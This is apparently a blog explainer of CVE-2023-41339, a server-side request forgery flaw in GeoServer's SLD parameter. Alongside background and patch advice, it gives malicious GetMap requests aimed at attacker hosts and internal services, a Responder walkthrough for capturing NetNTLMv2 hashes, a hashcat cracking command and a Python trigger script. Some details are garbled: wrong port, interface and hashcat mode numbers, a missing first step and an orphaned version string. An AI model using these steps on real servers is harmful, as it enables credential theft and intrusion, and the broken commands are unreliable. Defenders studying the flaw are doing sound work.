GeoServer is a popular, open-source server built in Java, used around the world by organizations—from small research groups to government agencies—to share and manage geographic (geospatial) data. It allows users to publish maps and data from almost any major spatial data source. While highly flexible and powerful, its configurability also provides opportunities for attackers when safe defaults and configurations are not enforced.
In September 2023, researchers discovered a high-impact security bug (CVE-2023-41339) affecting GeoServer’s implementation of the WMS (Web Map Service) specification. This vulnerability, if left unpatched, could let attackers trick GeoServer into making arbitrary HTTP requests, potentially exposing sensitive data and authentication hashes. This long read will break down the vulnerability, how it works, the risks, and how you can avoid falling victim—using simple, clear language.
What Is CVE-2023-41339?
CVE-2023-41339 is a security vulnerability in GeoServer’s WMS feature. Using the “dynamic styling” function, attackers can convince a GeoServer instance to make network requests to external servers. If an attacker can control those requests, they can use them to leak sensitive authentication information (like Microsoft NetNTLMv2 hashes)—which, in the wrong hands, could allow attackers to break into your network.
Official References
- Github Advisory (GHSA-7qw5-8m99-cvcp)
- NVD (CVE-2023-41339)
- GeoServer Release Notes
Technical Details: How GeoServer’s SLD Parameter Works
GeoServer follows the WMS specification, which allows requests for map images and other data using a URL-based API. To make maps look pretty (change colors, line thickness, labels, etc), users can specify a Styled Layer Descriptor (SLD). The sld parameter is particularly interesting because it lets a user provide a URL to a style definition.
Imagine you run this HTTP request (simplified for clarity)
GET /geoserver/wms?
SERVICE=WMS&
VERSION=1.1.1&
REQUEST=GetMap&
SLD=http://example.com/malicious-style.xml
GeoServer, by design, will fetch the SLD file from the provided URL so it can apply the style. This “feature” is meant to facilitate dynamic, on-the-fly styling without uploading files to the server.
However, unless the administrator has enforced a whitelist of approved URLs for SLD resources, GeoServer will blindly fetch *any* URL—including URLs that go to internal resources, local files, or even attacker-controlled servers.
SSRF (Server-Side Request Forgery)
This is a classic “feature abuse” situation. By providing a malicious URL in the sld parameter, an attacker can coerce the server into making HTTP requests anywhere:
- To Internal Services: SLD=http://localhost:808/admin leaks sensitive internal APIs or data.
- To Attacker’s Server: SLD=http://attacker.com/sld.xml lets the attacker see all outbound requests.
NetNTLMv2 Hash Theft
Why does the choicest exploit involve Windows NetNTLMv2 hashes? Because many enterprise servers, especially on intranets, may attempt authentication via NTLM when connecting to SMB shares or certain URLs. Here’s a simple exploit scenario:
`
SLD=http://attacker.local/sld.xml
`
2. Networking Trick: On Windows, GeoServer tries to fetch the SLD. The SMB or HTTP library automatically tries to authenticate using the user’s (GeoServer service account's) NetNTLM credentials.
Example: Capturing Hashes with Responder
Let’s see a proof-of-concept for hash capture using Responder, a tool commonly used by penetration testers.
Step 1: Start Responder on your server.
sudo responder -I eth
Step 2: Use the malicious SLD URL in any WMS/GetMap request
GET /geoserver/wms?
SERVICE=WMS&
VERSION=1.1.1&
REQUEST=GetMap&
SLD=\\attacker-ip\anything
Step 3: As soon as GeoServer reaches out, Responder logs the NetNTLMv2 hash
[SMB] NTLMv2-SSP Client: 10.10.10.2
[SMB] Username: GEO-SERVER$
[SMB] Hash: ...
From here, the hash could be cracked using hashcat or similar tools
hashcat -m 560 hash.txt wordlist.txt
CVE-2023-41339 Exploit Script Example
Below is a python snippet to trigger an SSRF (replace the GET method and params to suit your actual GeoServer endpoint):
import requests
target_url = "http://victim-geoserver.example.com/geoserver/wms";
sld_url = "http://attacker.com/mysld.xml";
params = {
"SERVICE": "WMS",
"VERSION": "1.1.1",
"REQUEST": "GetMap",
"SLD": sld_url,
"LAYERS": "topp:states",
"SRS": "EPSG:4326",
"BBOX": "-130,24,-66,50",
"WIDTH": "500",
"HEIGHT": "250",
"FORMAT": "image/png"
}
r = requests.get(target_url, params=params)
print(f"Status: {r.status_code}")
You would then check your attacker.com server logs to see the incoming request from the victim.
2.23.2
Patch Details:
As soon as these patched versions were released, the server *by default* blocks unknown external URLs in SLD (and similar) parameters. Administrators can configure a whitelist if needed for legitimate use—but “allow all URLs” is no longer the default.
- GeoServer Security Fix Announcement
CVE-2023-41339 is a serious flaw in GeoServer’s handling of external SLD URLs in WMS.
- Attackers can steal authentication hashes or coerce GeoServer to access internal or external systems (SSRF).
Always check your configuration: Whitelist allowed URLs for SSRF-prone parameters.
GeoServer is an incredible tool, but as with all powerful software, safety depends on configuration, knowledge—and keeping up with patches. If you use GeoServer, make sure you review your style parameters and update today.
Original references and further readings
- GHSA-7qw5-8m99-cvcp GeoServer advisory
- CVE-2023-41339 at NVD
- GeoServer Security Announcement
- What is Responder? – for NetNTLM hash capture.
Timeline
Published on: 10/25/2023 18:17:30 UTC
Last modified on: 10/31/2023 19:53:57 UTC